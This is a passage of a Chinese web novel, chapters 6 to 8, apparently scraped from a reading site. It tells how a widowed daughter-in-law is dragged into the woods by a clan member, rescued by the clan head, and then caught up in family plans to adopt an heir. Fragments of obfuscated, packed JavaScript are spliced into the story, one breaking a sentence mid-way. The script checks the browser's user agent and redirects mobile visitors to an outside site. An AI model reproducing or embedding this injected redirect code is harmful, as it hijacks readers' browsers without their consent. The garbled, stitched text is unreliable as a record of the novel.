程明景急得跳起来,“娘,我虽爱貌美的姑娘,却也得门当户对,家世勉强,那..那夏氏固然生得好,可儿子对她并无男女之情。” “再说,若儿子娶了她,总会忍不住拿自己跟明祐哥比,那日子还过不过了!” “我可是您亲生的儿子,您就这么埋汰儿子,让儿子娶个寡妇?” 说到底计较她嫁了人。 “没眼力劲的东西!”周氏骂了一句,失望地摆手,“无妨,你们程家人瞧不上她,回头我去周家找,在你几个表兄弟中挑个有福气的娶了芙儿。” 周氏已在脑海盘磨,哪个侄儿身份相貌脾性与夏芙般配。 程明昱无奈提醒,“母亲,夏氏执意守节,您别横插一脚。” “关你什么事!”周氏没好气道。 确实不关他的事,程明昱闭嘴。 6. 第 6 章 夏芙并不知别人讨好而不得的大伯母,此刻正热情地替她张罗婚事。 她忙着款待来访的妯娌姐妹。 原来擅做丹寇的事到底传开了,大家都很喜欢那抹香气,不浓不淡,沁人心脾,于是有人要百合味的,有人要薄荷味的,纷纷拿了好处送到夏芙这里,央求她帮忙做上几罐。夏芙乐得与族中姐妹们走动走动,也好攒些人情。 “这几日雨水多,待哪日天晴,我去采些好的花儿粉儿,必为你们做些丹寇来。” 随后夏芙便开始留意天气,六月二十五日傍晚,雨霁云开,晚霞漫天,她便知次日定是个大晴天,事先与婆母通了气,又早早打点了两位婆子,预备第二日去采花。 清晨沐着朝露的花儿最为新鲜,这时采集的花儿最容易碾成粉末,香气也最为浓郁。于是二十六日清晨,天刚蒙蒙亮,夏芙便招呼丫鬟和婆子出了门。 她带上自己院里的两个小丫鬟,又从婆母处借来两位厉害的婆子,加上秋蕖,一行六人踩着熹微的晨光往花园去。 程家堡与京城程府一条大道贯穿南北不同,这里整个族群依太极八卦阵排列,层层叠叠的屋舍错落而居,形成一个巨大的堡垒。堡垒四周角铺林立,日夜有人巡逻,守卫森严,全然不怕有人潜入堡内劫色劫财。 便是程家堡内,各房之间的院落均有人看守,日出开门,日落上锁,井然有序。 各房的花园林木均有专人管辖,不容人随意采摘。譬如夏芙想采花,便只能采四房自家花圃里的。只是四房花圃一来数量有限,二来也不能一口气全采光了,而要做那质地厚重的丹寇,非得用最鲜最嫩的那几朵花不可,四房的花圃显然不够用。于是夏芙留下秋蕖一人在此采摘,自己带着其余人往程家堡西北角的后花园去。 这后花园地处山麓脚下,坐北朝南,又毗邻水泊,光线和水分都十分充足。程家花匠在此经营了一大片花圃,一年四季繁盛不衰,每日均有族人前来采花集露。守门的婆子辰时不到便已将门打开了。 夏芙并不是最早的一批,已有人早早来集了花露离开,唯恐待会人多,夏芙带着人忙开了。这等事原本也无需她亲自出面,只是这些丫鬟婆子本伺候得不是很尽心,真使唤她们来干活,保不齐随意采些应付,还得她亲自经手才放心。 不一会红彤彤的日头完整地蹦出了水平线,早起的鸟儿啾啾地发出朝鸣,夏花迎风招展。凤仙花是首选,遇见饱满娇艳的芍药与海棠也要采一些,紫薇茉莉也在夏芙的甄选范围内,无意间抬眸,瞥见桃林里间植了几棵栀子,赶巧开了几朵雪白的花,那香气馥郁甜而不腻,叫夏芙好不心仪,不由分说地掀开枝垭追逐而去。 小丫鬟这边已集了一大半篮,正要跟着夏芙过去,忽然间,林子深处窜出来一条黑狗,这条狗眼神凶狠,四肢也矫健凌厉,疾如闪电冲向人群,吓得几个丫鬟婆子四处乱窜。 夏芙听见动静,也惊呼一声,不假思索往最近的花房躲去。 正待转身,一只手忽然从身后扑来,捂住她的嘴,将她往林子里带。 夏芙还没来得及发出任何声音,那股蛮横的力量已经将她拖离了桃林,向林子深处拽去。巨大的恐慌涌上心头,眼前的光线被层层叠叠的树冠切割成零星的碎片,她的脚在地上胡乱地蹬着。 直到听见耳后传来略熟悉的喘息声,夏芙方反应过来这人是谁。 愤怒夹杂恐惧充斥脑门,夏芙铆足了劲,狠狠往那人手背咬了一口,生生将他手背咬出一道血淋淋的口子,对方吃痛,手一松,夏芙趁机挣脱开来,踉跄着往后退出几步。过度的恐慌让她膝盖发软,辨不清东西南北,胡乱摸到一根粗壮的树根,蜷缩着躲到后面,这才看清来人。 程明旭捂住伤口,抬眼瞅见那美人儿裙衫曳地、惶惶如迷失的小鹿,心底的邪念反而更盛。他干脆撒开手,任鲜血顺着指缝往下淌,懒懒散散地盯着夏芙,像盯着猎物一般,眼底带着几分不满和质询, “芙儿,你为何不肯嫁我!” 自那夜提亲被拒,被父亲赶去了河道,程明旭心里便衔着一股恨,成日鼻子不是鼻子,眼睛不是眼睛的。凭他程家十三房嫡出少爷的身份,配一个乡绅家里的小寡妇,不是绰绰有余?长房凭什么不把夏芙嫁给他? 自初见夏芙,他便惊为天人,心心念念了一年有余。好不容易等到夏芙除服,岂能眼睁睁看着婚事泡汤?程明旭不甘心。 白日里在河道帮衬,夜里便盘算着如何回来,把事情弄个究竟。偏生那程明英把他看得紧,直到昨日才得了机会,叫他赶回老宅一趟,这不,便让他逮到了夏芙。 “芙儿,跟了我,只会叫你过好日子,你还犹豫作甚!” 说完,他大步朝夏芙迈去。 * 天蒙蒙亮,程明昱便照例起身,前往后山竹林习武练剑,养身健气。这是自幼养成的习惯。过去在京城,书斋外便有一片竹林供他晨练,如今回到程家堡,可去之处更多了,下雨时在书房后的竹寮,天清气朗则去林中的一处高台。 程家堡背山靠水,将一片山麓圈进堡内,又在最高处建了一座高台,战时可供瞭望敌情。今日天光未全开,薄雾还缠在半山腰,程明昱便来到这高台上练剑。 只见他一袭月白长袍,袖口紧束,矗立在晨风之中。剑锋出鞘之际,发带被风撩起,拂过棱角分明的下颌,英武之余,更添几分天人之姿。 时不时武出的剑花与金黄的晨曦交相辉映,惹来周遭雀鸟扑棱。正练得兴起,忽然听得山脚下传来一阵突兀的狗鸣。 以防惊突女眷,程家堡的后院是不许养狗的,是以程明昱觉得奇怪,立即收剑望去,晨光破开薄雾,在林子里洒下层层叠叠的金光,一簇树丛下,隐约有两道身影闪过,恰在这时,底下巡视的侍卫也觉察有人突入林中,赶忙来报,程明昱脸一沉,带着人飞快追过去。 越过簇簇的树丛,便瞥见程明旭咧着嘴朝一年轻貌美的妇人扑去。 程明昱毫不犹豫,扔开长剑,自侍卫手中接过箭弩,对准那人一箭射去。 君子六艺,礼、乐、射、御、书、数,程明昱无一不通,一箭利落下去,登时贯穿了对方伸出的那只手腕,只听见闷哼一声,那人直直栽倒在地。 “把人带去戒律院!” 程明昱寒声吩咐一句,随后提剑快步往里来。 脚下是被踩碎的落叶与枯枝,发出细密的碎裂声。他穿过几株歪脖老槐,绕过一片半人高的藤蔓,瞥见一道纤弱的身影躲在山沟里,看模样更像是闪躲时不慎滑下山坡。 程明昱看清是夏芙,视线一顿,冷色铺满眼眶。 夏芙双臂紧紧抱着自己的膝盖,整个人缩成一团蹲在山沟里,裙摆上沾满了泥土和碎叶,脸白得近乎透明,唯有那一双杏眼红彤彤的,蓄满了惊惧未消的水光,听得脚步声,猛地抬头,便见一人矗在上方。 那道身影逆着漫天涌来的光走来,身形笔直,衣袂猎猎,宛如从天而降。凭着这一身风姿,夏芙认出是程明昱, “家主....” 她的声音哑得几乎听不见,哆哆嗦嗦地打颤。 只消一眼,程明昱便猜到事情始末,心底怒色腾起。在他三令五申下,程明旭还敢堂而皇之欺辱夏芙,简直是穷凶极恶,胆大妄为之极。 然君子喜怒不形于色,程明昱的情绪从不外露,在夏芙看来,他神色依然是沉静的,砰乱的心也跟着安定几分。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514251|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只见他侧身一步,将长臂伸到夏芙跟前,手掌朝外,视线也看向外侧,并不去瞥夏芙狼狈的模样。 “上来!” 目不斜视,是为礼。 伸手相助,是为义。 夏芙的眼泪一下就涌了出来。 他的手伸过来,不是来拉,而是让她借力。 君子之风,始终是刻在他骨子里的底色。 夏芙二话不说,颤抖着去抓他手臂,手刚伸出去,方觉逃窜的途中,右手已沾满了泥污,实在不敢玷污了那干净的箭袖,夏芙仅用左手攀住他,借力往上爬,可惜他手臂虽然瘦劲,却也不是一个柔弱的女子握得住的,加之方才吓得虚脱,夏芙手刚握住,便脱力一滑,身子往后栽去。 程明昱眼疾手快,提剑的右手飞快掠过来,剑柄从她后腰穿过,牢牢接住她身形,将之往上一带,确认夏芙站稳后,双手不做停留地撤开,后退数步,抬眸打量她, “他可有伤到你?” 夏芙惊惶未定地吸了一口气,摇着头,“家主来得及时,他并未伤到我。” 眉眼仍带着后怕,惊怯地瞥了程明昱一眼,颤声问道,“敢问家主,会如何处置他?” 这种事传出去对她名声不利,可若就这么放过他,夏芙实在咽不下这口气,一旦轻轻揭过,于她而言便是无穷无尽的灾难。 她不是每一回运气好,能遇见家主。 程明昱视线移过来,瞥见她像是受惊的小鹿,彷徨无助地看了他一眼,又羞怯地垂下眸,心底叹了一口气。 “我会给你一个交待。”他声线干脆而清冽。 不知为何,程明昱这般说,夏芙便信了。 家主行事向来公允,应当不会纵容程明旭作恶。 “多谢家主。”她提着沾了露珠的裙摆,朝他屈膝。 程明昱闻言轻嗤一声,脸上多了一分自嘲, “我当不住你这一声谢,未能让程家女眷安虞而无畏地行走于人前,是我程明昱的失职。” 这位弟媳本就怯懦胆小,经此一事,往后怕是越发不敢出门了。 程明昱对那混账的怒火又添了几层。 夏芙一愣,忽然说不出话来。 心底不可言说的委屈和顾虑,就这般被他挑开,被他看到。 换做是旁的家族,定是责怪她不该清晨采花,不该冒失出门而招了男人觊觎?受害的人反而有罪一般,被人指指点点。 在家主这里,却明明朗朗告诉她,她无错。 甚至将责任往自己身上揽。 世人常说的风骨清正,大抵便是如此吧。 只是..还有一桩更麻烦的事,夏芙惶惶往林子外张望,不知那边的丫鬟婆子如何了,若是被人知晓她险些被程明旭欺辱,往后她还有何脸面见人,她还能在程家堡待下去吗? 夏芙心灰如死,眼底泪涟涟的。 程明昱循着她视线往外看了一眼,便明白夏芙顾虑所在。 “这件事,我来办,你权当什么都没发生,大方地走出去。” 他视线落在她茫然含怯的眼眸,平静而强大,强大到只用一句话,便将夏芙浑身竖起的寒毛给抚平下去,她怔怔地开口,“真的可以吗?” 只要走出去,便可当作什么都没发生,保住名节无损? 程明昱没回她,而是反问,“你做得到吗?” 他用眼神鼓励她,抬剑往外一指,“大方走出去,不用怕,其余的,我来善后。” 我来善后... 后来夏芙每每回忆起这四字,心底好似被注入一股莫大的勇气。这种踏实便是丈夫程明祐都未曾给过她。 家主不愧是世间第一君子。 7. 第 7 章 夏日的晨阳升得极快,不一会便光芒万丈,刺的夏芙险些睁不开眼。 她衣裙染了不少露水枯叶,面颊也因哭过而残留些许泪痕,好在发髻稳稳当当,衣裳并无明显的凌乱,她用帕子借着露水细细给自己擦了一把脸,便打林里迈出。 乍一绕出桃林,便见园子里的花泥被狗刨得凌乱不堪,花盆东倒西歪,一片狼藉,不仅如此,不远处的墙根下传来一阵呻吟,四位仆妇丫鬟东倒西歪靠在墙壁,怨声载道,一个个的比她还要狼狈。 夏芙一惊,忙不迭迈过去,“怎么回事?” 那唤雀儿的丫鬟显见摔了个狗啃泥,双丫髻歪歪斜斜,哭得不成模样,花篮仍挽在胳膊肘,花瓣却是撒的一片不剩,见了夏芙,抽泣着没吱出嗓。 倒是另一婆子,惊出一身冷汗,倚在墙角直喘粗气,见夏芙好生生地出来,语气便有些倒酸, “回奶奶话,方才那只黑狗可凶了,将奴婢们吓了个半死,逃的逃窜的窜,险些要丢了命去,好在后山巡逻的侍卫来得及时,将那黑狗给扑杀了,否则奴婢们今个怕是不能活着回房,好奶奶,往后咱不折腾这些花儿粉儿的,安安生生躲在绣房里绣花是正经。” 显见是埋怨夏芙连累她们受了一场惊吓。 不过好歹是主子,婆子也不敢过于跋扈,瞟了夏芙上下一眼,问道,“奶奶没事吧?” 夏芙不自在地别了别耳后的碎发,“我没事,见狗窜出来,躲去了花房里,只摔了一跤,并无大碍。” 这些人伺候夏芙本就不情不愿,素来对她也没多少护主之心,自然顾不上甄别夏芙话里的真伪,只放了心道,“那就好,方才没瞧见奶奶,可把奴婢们吓坏了。” 想是惊动了管事的婆子,不多时便有人送了水和帕子来,为首的管事一等仆妇装扮,端的是面容肃整气度不俗,亲自侍奉夏芙进了花园东边一间水榭,当着四房丫鬟婆子的面示范一番如何侍奉主子,可闹得那几个怼人的婆子丫鬟没了脸。 衣衫自然是不能换的,便用一件银色披风遮了一身狼狈,重新洗了一把脸,梳整仪容便要亲自送夏芙回房, “是奴婢们疏忽,害奶奶在花园里受了惊,奴婢这就送您回去,亲自给四太太认错赔罪。” 此地毗邻长房,婆子来的这样快,又如此殷勤,未必不是承程明昱之命而来,夏芙不敢怠慢,也不敢推辞,柔声道,“辛苦嬷嬷了。” 这位嬷嬷不是旁人,正是戒律院八大执事之一,夏芙没见过,四太太院子里那位婆子倒是见过一两回,辨出来人身份,自然是可劲儿讨好,不声不响挤到嬷嬷身侧,笑嘻嘻问, “嬷嬷,我记得咱们程家后院是不许养狗的,今日这狗来的蹊跷,嬷嬷可知是怎么回事?” 原是没话找话,却好巧不巧勾动了夏芙心事,她心弦一紧,连步子也迟疑了些。 嬷嬷搀着她不动声色瞥了那婆子一眼,“此事已惊动家主,自会查个明白,嫂子放心,不会白叫你们吃一场亏,只是方才嫂子们只顾着自个,无人看护二奶奶,叫二奶奶在花房外摔了一跤,回头问起来,我可怎么答?” 婆子一听顿时打个哆嗦,那等混乱场面只顾得上保命,哪管得着旁人? 一想到程明昱要亲自过问此事,脸都白了,“嬷嬷,这样的小事,家主也要过问吗?” 嬷嬷目不斜视道,“不护主的奴婢,养了作甚?” 婆子心想完了完了,那程明昱眼里容不得沙子,回头追究下来,她们怕是要吃挂落。 就这般忐忑不安回了四房。 嬷嬷这厢亲自将夏芙送到四太太手里,言明经过又告了罪,四太太不会不给戒律院管事面子,自然没有苛责,只是四太太毕竟是个人精,暗想戒律院八大执事等闲不露面,今日却刻意送夏芙回来,恐有蹊跷,便将夏芙带去内室详问。 嬷嬷这边待要出门,却被婆子几人给拦住,几人求爷爷告奶奶地说好话, “嬷嬷,今日之事还请嬷嬷替我等担待则个,实在是那野狗过于凶狠,将我等与二奶奶冲散了,并非我们有意舍下二奶奶不顾,我们吃程家的粮,拿程家的月银,岂能不把程家主子当一回事?” 嬷嬷闻言这才赏了她一个正眼,“还算像话,”又瞥了一眼她们狼狈的模样,作慨然状,“罢了,你们也可怜见的,受了一番惊吓,着实不容易。今日之事我就不追究了,也不外道,不过若是你们自个多嘴说出去,回头我可就不好替你们瞒了。” “不敢不敢!”其中一婆子先抽了自己一耳光子,“我们蠢才将这事宣扬出去,必是守口如瓶,只请嬷嬷疼我们,别将此事上禀戒律院。” 嬷嬷心里松了一口气,就这般四两拨千斤瞒下了夏芙入林子一事,又敲打了侍奉的奴仆,想必这些人往后不敢不尽心,视线不冷不热逡巡众人一圈,这才离开了四房。 而内室这头,夏芙却不敢隐瞒婆母,一字一句据实以告。 四太太听明始末,气得浑身颤抖,淬毒般骂道,“我要去十三房,我要亲自掐死那个混账,他们欺人太甚,欺负我们四房无人,欺负我们孤媳寡母!” 夏芙闻言急得扑到她怀里,拦腰抱住她哭道, “娘,家主言明会给我一个交代,您就别声张了,否则媳妇如何做人?” 四太太何尝不知这个道理,正因如此,什么都不能做,只能在家里气得干跺脚,才更叫人窝火。 那几个婆子丫鬟送走了戒律院的嬷嬷,又恐夏芙这边跟四太太告状,一个个探头探脑地进了院。 见四太太迈出门槛,连忙跪下认错, “太太,我等没能护住二奶奶,叫奶奶受了惊,是奴婢之过。” 四太太这厢按下怒色不表,立在廊庑,瞥见众人灰头土脸的,也没说什么, “不怪你们,你们也受了罪,往后后山林子那带,都不要去了。” 这话意味着夏芙没有道她们的不是,众人松了一口气,连连应是。 四太太又道,“今日辛苦了,各人领一吊钱,权当压惊吧。” 戒律院敲打过后,四太太这边给个甜枣,婆子丫鬟哪还有话说,一个个喜笑颜开,认定夏芙袒护了她们,往后侍奉越发尽了心,这是后话。 再说程明昱这边,回房沐浴更衣用过早膳,便来到戒律院。 这会儿功夫,戒律院的人已将事情查明,原来程明旭昨夜喝了酒,先买通了四房一位丫鬟得了夏芙行踪,又连夜塞了好处给后花园一处管钥匙的婆子,领着一头黑狗不声不响进了园。 程明昱在戒律院东厅坐定时,一干涉事人等全被丢进刑房。 不仅如此,唯恐泄漏消息,就连十三房上下管事奴仆一应拿来了戒律院。 阵仗之大,为近几年之最。 程明旭倒也不笨,觊觎夏芙之事,除了几位心腹,哪敢弄得人尽皆知,否则程明昱早查办了他。戒律院的管事挨个审问,除了三名侍奉程明旭的丫鬟与小厮,其余人倒不知真相。 知晓内情的关去刑房,无关人等则拘在后院。 没多久十三老爷锺迹戒律院的家丁进了东厅,瞥见自己儿子浑身抽搐扑倒在地,一只手腕被箭矢贯穿,好似昏死过去,吓得魂都没了,双膝直打软一屁股坐在地上,张望上方的程明昱,颤声问, “明昱,这是怎么回事?” 年轻的家主一袭玄衫端坐如松,有着一份与周遭环境格格不入的清贵之气,手中不紧不慢翻着各处的撘子,头也没抬, “怎么回事不该问我,而该问十三叔自个,您教导的好儿子,趁黑将一妇人拖进林子里,欲行不轨之事,被我逮了个正着,我一心提携你们,你们就是这般回馈我的?” 十三老爷两眼一翻,还有什么不明白的,定是儿子对夏芙念念不忘,一时糊涂做了混账事,事已至此,自然没什么好辩解的,十三老爷扑在地上苦苦求饶, “您看在他已受伤的份上,饶了他这一回,往后我一定严加管教,不让他再迈错一步。” 程明昱自然不跟他废话, “枉顾我提携之恩,而肆意妄为者,程明旭是第一个,没有下次。” 他抬手将案头一根令箭扔下去, “来人,断程明旭一只手臂,将十三房上下逐出程家,发派崖州,永不可回弘农。” 这话一落,将十三老爷吓得双目骇然睁大,险些吐出一口乌血来,见程明昱丝毫不留余地,登时怒火中烧, “明昱,将整整一房逐出程家史无前例,必得七位长老悉数到齐,当堂审案,才能决断,即便你是族长,也不可肆意妄为。” 当堂审案,夏芙的事就遮不住。 十三老爷也不笨,猜到程明昱必不愿将夏芙牵连进去,脑筋飞快转动,意图跟程明昱谈条件,“明昱,我知道旭儿错了,此事我无话可说,只是为了女人家名节着想,还望你别把事情闹大,闹大对程家对夏氏都没好处,仅此一回,绝无再犯,明昱,我一定守口如瓶,绝不提夏氏半字,你就给我父子一个机会吧!” 十三老爷半是威胁半是恳求。 然而话音一落,只见那人不经意抬眸,好似终于舍得分一些精力给他,淡声问, “你是在认真跟我说话吗?” 十三老爷对上那双清冷无波的眸子,再度打了个寒颤。 面前这人,十六岁的状元郎,十七岁只身入敌营纵横捭阖,短短数年从翰林院侍讲学士升任政事堂参知政事,被誉为大晋世家第一人,即便有君子之名,暗地里若无强悍的手腕与本事,又岂能在波云诡谲的朝堂搏出一方天地? 自己与他谈条件,无异于鸡蛋碰巨石。 十三老爷顿时泄了气,扑地大哭,“明昱,饶命啊。” “我们程家不养丧尽天良之辈。” 戒律院家丁连夜将十三房的人送走,涉案的发卖远乡,其余人则一并跟着十三老爷去崖州。崖州去弘农上千里,被断了一只胳膊的程明旭有无活路尚未可知。 程明昱当然也要走章程,翌日清晨召集尚在弘农的长老与各房掌家的太太老爷议事,声称程明旭未经准许擅自从河道偷潜回乡,半路遇见一貌美官宦小姐,意图不轨被人捉住,此举不仅辱及人家姑娘清名,禽兽不如,亦败坏了程家声誉,是以将之逐出程家,发配崖州。 这一日不仅长老们全票通过,连官府的文书也取了来,程明昱雷厉风行摆平此事,杀鸡儆猴,震慑了族中上下。 外头无不道程家家风清正,程明昱治家严谨之类。 事情虽是真假参半,却将夏芙摘得干干净净,夏芙闻讯自然是大快人心,暗地里婆媳二人抱住又是哭了一场。 虽是如此,被人觊觎一事到底在婆媳二人心底留下阴影。 “这回是运气好,撞见明昱在府上,若不是他.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“瞧,正与芙儿说着话,不知有客来访,倒是怠慢了,嬷嬷快些进来坐,可是大嫂有什么吩咐?” 宰相门前七品官,周氏身旁的嬷嬷比一旁的年轻媳妇还要有脸面。 然嬷嬷却十分知礼,带着丫鬟恭敬朝四太太和夏芙屈膝, “请四太太安,请二奶奶安,奴婢奉大太太命,送一丫鬟来侍奉二奶奶,太太的意思是二奶奶做的药茶极好,平日若上街买药配个方子什么的,没个伶俐的人使唤,太太不放心,遂将文宁遣了来,这丫头的父亲是咱们府上的侍卫长,有些拳脚功夫,奶奶尽管放心使唤。” 闻弦歌而知雅意。 长房这是遣了女卫来侍奉夏芙。 何等费心! 夏芙感激得跟什么似的,盈盈起身,“大伯母这番疼爱,我无以为报。”随后视线落在文宁身上。 唤做文宁的女婢朝夏芙露出一口笑牙,拱袖请安,“文宁见过二奶奶,往后奴婢便是二奶奶的人了。” 她们主仆热络的功夫,嬷嬷行至四太太身旁,悄声道, “文宁是长房的人,月钱仍从长房走,不挨四房半点。” 四太太道,“这怎么成,还是我们四房来出。” 嬷嬷笑道,“这是大太太的意思,您若不满,自个跟大太太说去,奴婢只管传话。” 四太太晓得大太太这是用心良苦,心下感佩,“大嫂心意我领了,烦请你回去告诉她,改日我带着芙儿去给她磕头。” 真真是打瞌睡便有人送枕头,往后夏芙出门,便有了保障。 四太太这边记大太太的情。 夏芙却怀疑这是那位家主的安排,不过这个念头自脑海一晃而过,并未深想。 眼看快到午时,夏芙着人领着文宁下去安置,自个打算陪婆母用膳,不料婆媳俩将将落坐,前头来了人, “娘,好消息,朝廷发了恩旨,总算要抚恤金山堡一役战死的官员了!” 一听是大爷程明泽的嗓音,夏芙连忙起了身。 四太太心知她避讳程明泽,摆摆手示意她从后门出去,随后方不紧不慢迈出东次间,去明间迎接儿子, “祐儿死了一年,总算是有恩旨下来!” “可不是?”大爷程明泽穿过中庭跨进屋内,先朝四太太行了礼,在她对面的桌椅落座, “金山堡一役死亡过多,国库招架不住,只能一桩桩来,过去这一年总算把阵亡将士的抚恤发下去了,如今轮到文官。” 这是四房等了一年的消息,四太太自然上心,忙问,“朝廷旨意,如何抚恤战死的文官?” 夏日里天热,程明泽一路从弘农郡衙奔回府,口渴难耐,赶忙抱着茶罐满饮了一杯,这才回眸回四太太的话, “战事频仍,国库空虚,加之武将那头抚恤花了一大笔银子,到了文官这边度支便与政事堂商量出一个法子,说是抚恤银子免了,凡进士出身的阵亡文官,准恩荫一名子弟入朝为官。” 四太太一惊。 官宦府邸哪个在意那点抚恤银子,若能得一个荫庇的名额,便是天大的喜事。 “朝廷很有诚意。” “可不是?旨意发下来,朝野称颂。” 四太太长舒一口气,身子往后靠去圈椅,心情总算开朗不少,丈夫去世后,她求得长房给她大儿子程明泽安了一份闲职,如今就三儿子没着落,有了这份恩旨,程明同便可出仕,四房又有指望了。 四太太深看了大儿子一眼,“你三弟今年十七,这个荫庇名额便给他。” 不料大爷闻言立即摆手,“娘,我还没说完呢,只准恩荫自己的儿子,族人兄弟皆不在内。” 四太太一呆,如被泼了一盆冷水,“你二弟与芙儿成婚不过半载,哪来的儿子!” 8. 第 8 章 眼看天上掉了个馅饼,却够不着,这比从未有过盼头更叫人难受。 四太太耷拉着脸,连用午膳的心思都没了。 大爷程明泽见母亲脸色不好看,也不曾久留,借口身上汗湿了,便回了房。 金氏正吩咐丫鬟给女儿喂饭,见他满头大汗进来,连忙摆手,把他往东次间赶,“得了,一身汗气,别熏了姐儿。” 金氏成婚也不过三载,膝下仅有一个一岁的女儿,名唤晴姐儿。 程明泽瞟了一眼被抱在乳娘怀里的女儿,见她正乖巧地用饭,眨巴着一双眼睛盯着他,眉眼间便生了几分怜爱。他听金氏的劝,退去了东次间。 不多时金氏跟了过来,伺候他更衣,不经意间在他腰间抚了一把,哼道,“自你弟弟丧满一年,你便大吃大喝起来,这才多久工夫,就长了一圈肉了。” 男人都好面子,恨不得在女人跟前是顶顶俊俏的,程明泽也不例外。被妻子这般戏谑,他顿时讪讪的,嘴上却也没服输,“夜里也没旷着你,怎么就招了你的嫌?待回京忙起来,我又该瘦回去了。” 金氏听他嘴里没个把门,忙不迭瞥了一眼帘外,见无人过来,羞得瞪了程明泽一眼。程明泽一笑而过,合好衣裳,走到窗下的圈椅坐下,朝她招手,“你坐下,我有桩事与你商议。” 难得丈夫这般郑重,金氏没奚落他,挨过来坐在他对面,“何事这么急,不等用了膳再说?” 程明泽身子凑过来,低声道,“朝廷颁发了抚恤旨意,准许阵亡的文官荫庇一子入朝为官。” 金氏一愣,抬眸直直盯着他,“这是好事,只是明祐与弟妹......” “对,他们没有孩子。”程明泽截住她的话。 金氏察觉丈夫眼底另有深意,狐疑道,“你的意思是?” 程明泽将金氏的手拉过来,笑了笑道,“我的意思是,咱们尽快生个儿子,过继到二弟夫妇名下。往后这个儿子的前程便稳当了。” 金氏大惊,下意识不情愿,立即将手从他掌心抽开,“这怎么可以?我的儿子自是我夫妻的心肝肉,岂能唤旁人为娘!” 程明泽脸一拉,低声喝道,“你这是糊涂了!只是名义上过继给二弟罢了。以二弟妹那软绵的性子,将来还不是任由你摆布?难不成你要眼睁睁看着这么金贵的名额被旁人占去?” 经丈夫这般提醒,金氏也醒过神来。自大晋实行科举取士以来,科举便如万人同挤独木桥,能过关斩将、金榜题名的少之又少。饶是程家如此昌盛,考中进士的也不多。金氏对自家将来的儿子能否入朝为官毫无把握,所以这样的名额着实是千载难逢。 再不舍,为儿子计长远,也着实该赌一赌。 “成,我听你的!” 程明泽见她肯听劝,不由得伸手搂住她的腰身,将人往怀里一带,看样子便要行事。金氏急得又羞又恼,推着他滚烫的胸膛,低骂道,“夜里有你吃的,急什么!丫鬟婆子都在隔壁呢,赶紧用膳去!” 然午休时,夫妇俩拥着拥着到底滚到一处去。 蝉鸣欲躁。 夏芙午间没歇好,听闻婆母午膳没用,只当出了什么事,便寻摸着婆母午歇醒来的时辰过来请安。进去时,只见她靠在一张藤椅上,神色枯槁地盯着窗外,颇为灰心丧气。 “娘,发生了何事?叫您这般伤怀?”夏芙忙俯身过去,伏在她膝头。 四太太闻声,收起愁容,朝她露出个笑脸,“没什么大事。午膳没留你,你吃得可好?” 夏芙拉过一张锦杌,在她跟前坐下,“文宁初来乍到,儿媳拿了三百钱吩咐厨房加个菜,算是为她接风洗尘。” 四太太很满意,“做得好。对了,芙儿,今日祐儿他大哥自衙门回来,带回了朝廷的抚恤恩旨,说是进士出身的文官可荫庇一子入朝为官。” 夏芙眨了眨眼,“真的吗?”转眼咂摸出这里头的意思,神色陷入黯然。 四太太看出她眼底的落寞,抚了抚她的手背,苦笑道,“到底是咱们祐儿没福气,没能给你留下一儿半女,否则咱们后半生都有靠了。哎,就是可惜了这么好的名额。” 夏芙也觉得可惜,“倘若大哥与三弟有个儿子,也能过继给明祐,享受这等恩宠。” 她原也只是随口说说,哪知四太太听进了耳,“芙儿,你不介意过继?” 夏芙愣住,没料到婆母还真打起这个主意,一时有些茫然:“这不是没有侄儿么?” 四太太笑道:“倒也不急。我问过你兄长,只要手执恩旨,族谱记在明祐名下,到了年纪去吏部登记,等着馆选便可。” 夏芙听明白了她的意思,“您的意思是,等着大嫂生?生下儿子便记在我与明祐名下?” 四太太到底老辣,又多了一层考虑,视线移向窗外,“我倒不打算过继长房的孩子给你。” 夏芙不解,“娘是何意?” 四太太扭头过来,目光忽然凝在她脸上,那双杏眼清澈得像山间溪流,能一眼望到底,这般娇弱的小娘子,她又怎么不为她谋后路? “傻孩子,那金氏是什么性子?若是叫她把儿子过继到你名下,往后你定被他们母子拿捏得死死的,焉有好日子过。要过继,就过继明同的孩子。” 老三性子敞亮耿直,没有老大那般狡猾,四太太自信能拿捏住他。 “我打算为他寻一门恭谨温顺的媳妇,事先便把好处摆明,总之,绝不叫她越过你去。” 夏芙听着听着,心底一阵发懵。本是来探望婆母,孰料糊里糊涂就把后半生的日子给定了,略有几分反应不及。此事非同小可,尚有诸多细节需权衡,夏芙不想太快下决断。 “娘,大嫂那边未必答应呀,届时两兄弟吵起来又当如何?” “可不是么,故而暂时我也不露底细,慢慢看吧。” 夏芙见她尚未拿定主意,略松一口气,“我也得好好想想,娘也给我一点时间。” 四太太看穿夏芙的顾虑,笑道:“好孩子,你放心,无论我作何选择,总归将你放在第一位。既要让这孩子撑起四房门楣,更要保你后半生安虞。” 夏芙反倒不好说什么,重重“欸”了一声。 这一日消息便传开了,整个程家堡都知道程明祐得了一个荫庇的名额,有儿子的族人便打起了主意,纷纷来四太太处打探消息。 孟氏得了信,生怕夏芙被人牵着鼻子走,赶在七月初五这一日午后来四房探望夏芙,问起她和四太太的打算。夏芙也不好瞒她,隐约将四太太的主意透露给了孟氏。 孟氏连忙摇头,“不可,不可,芙儿,这对你无半分好处。” “怎么说?”夏芙问。 孟氏先起身往窗外瞟了一眼,见丫鬟们均避去了廊庑角落,方重新折回,拉着她低声交待,“你这是为人作嫁衣裳啊。白白替人养了儿子,给了荫庇,回头人家亲娘亲爹就在身旁,哪个还记得你?无非是踩着你上位罢了。” 夏芙笑了笑,经过一夜的思前想后,她已经想得很通透了,摊摊手道,“我都明白。若真是过继明祐的侄儿,我也不操那份心,名额给他们便是,不用我生,我也不养,只落个安稳日子,将来在过继文书中写明,叫那孩子替我请份诰命,我便知足。” 